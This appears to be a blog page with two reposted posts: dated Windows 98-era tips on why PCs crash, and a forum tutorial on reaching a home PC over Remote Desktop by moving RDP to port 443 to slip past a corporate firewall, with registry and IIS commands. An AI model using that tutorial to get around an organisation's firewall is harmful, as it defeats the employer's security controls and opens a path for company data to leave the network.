A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.<br />
<br />
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).<br />
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<h2 style="text-align: left;">
<span style="color: red;">4 Hard disk drives</span></h2>
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After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to<br />
<br />
* Start-Programs-Accessories-System Tools-Disk Defragmenter<br />
<br />
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.<br />
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The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).<br />
<br />
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to<br />
<br />
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.<br />
<br />
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.<br />
<br />
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to<br />
<br />
* Start-Programs-Accessories-System Tools-ScanDisk<br />
<br />
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">5 Fatal OE exceptions and VXD errors</span></h2>
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Fatal OE exception errors and VXD errors are often caused by video card problems.<br />
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These can often be resolved easily by reducing the resolution of the video display. Go to<br />
<br />
* Start-Settings-Control Panel-Display-Settings<br />
<br />
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.<br />
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If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to<br />
<br />
* Start-Settings-Control Panel-System-Device Manager<br />
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Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.<br />
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If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.<br />
<br />
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.<br />
<br />
Another useful way to resolve video problems is to go to<br />
<br />
* Start-Settings-Control Panel-System-Performance-Graphics<br />
<br />
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).<br />
<br />
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">6 Viruses</span></h2>
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Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to<br />
<br />
* Start-Settings-Control Panel-Add/Remove Programs<br />
<br />
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.<br />
<br />
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.<br />
<br />
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">7 Printers</span></h2>
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The action of sending a document to print creates a bigger file, often called a postscript file.<br />
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Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.<br />
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If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.<br />
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<h2 style="text-align: left;">
<span style="color: red;">8 Software</span></h2>
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A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.<br />
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The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.<br />
<br />
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org<br />
<br />
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.<br />
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Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.<br />
<br />
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.<br />
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Remember to restore all the BIOS settings back to their former settings following installation.<br />
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<h2 style="text-align: left;">
<span style="color: red;">9 Overheating</span></h2>
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Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.<br />
<br />
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com<br />
<br />
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">10 Power supply problems</span></h2>
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With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.<br />
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If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.<br />
<br />
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.<br />
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</div>

10 reasons why PCs crash U must Know

1 Hardware conflict The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other device...

Remote Desktop Through Company Firewall

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Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here<br />
<br />
Note this tutorial is collection of tips I gathered from searching the internet and some credit is due to the original authors. None of which I know.<br />
<br />
A lot of people I know love using the Windows Remote Desktop feature at work, however are prevented from connecting to their home computer because of the company firewall. This is because most corporate firewalls block port 3389 which Remote Desktop uses. Most just switch to VNC, however most find it slower than Remote Desktop.<br />
<br />
This quick tutorial shows how (from a fire walled network that blocks port 3389) you can access your home computer using MS Remote Desktop.<br />
<br />
*This tutorial assumes you have or know how to setup and dynamic DNS client if you need one<br />
<br />
*Assumes you know how to setup port forwarding if you need to.<br />
<br />
Because Remote Desktop is using port 3389 by default, it is not possible to go through a firewall. So you can use port 443. Because this port is always open on your companies firewall to allow https. (One would assume )<br />
<br />
At your home PC:<br />
<br />
1) Configure Your pc to allow Remote Connections in your System Properties (windows - Break) tab Remote. Check 'Allow users to connect remote to this computer.<br />
<br />
2) (add users if needed)<br />
<br />
3) According to<br />
CODE<br />
http://support.microsoft.com/default.aspx?scid=kb;en-us;306759]<br />
<br />
In the registry change<br />
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber to 443 (click Decimal radio button first)<br />
<br />
*Configure your firewall to allow traffic through port 443 (If you need to)<br />
<br />
*Configure your route to forward port 443 to your computer (If you need to)<br />
<br />
If you have IIS running you have to change the port number of https. because it is already listening on this port.<br />
C:\WINDOWS\system32\cscript.exe c:\inetpub\adminscripts\adsutil.vbs SET w3svc/1/<br />
SecureBindings ":444:"<br />
<br />
Or just disable IIS Service<br />
<br />
<br />
For your PC at work:<br />
<br />
According to<br />
CODE<br />
http://support.microsoft.com/default.aspx?scid=kb;en-us;304304<br />
<br />
you can just type the port after the IP-Address of your home PC.<br />
<br />
*Or if you have a Dynamic DNS Client such as No-IP or DynDNS you can type in that address.<br />
<br />
Alternatively<br />
You can add the following to the rdp file. (which you can get to click on Save As on the tab General of Remote Desktop Connection)<br />
server port:i:443<br />
<br />
Extra tip: to have access to your clients hard disk on your remote desktop, check Disk Drives on the tab Local Resources of Remote Desktop Connection<br />
</div>

Remote Desktop Through Company Firewall

Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here Note this tuto...

Remote Desktop Through Company Firewall

Remote Desktop Through Company Firewall

Dont wanna take any credit for this as i got this from another forum thought of it as quite informative so pastin it here Note this tuto...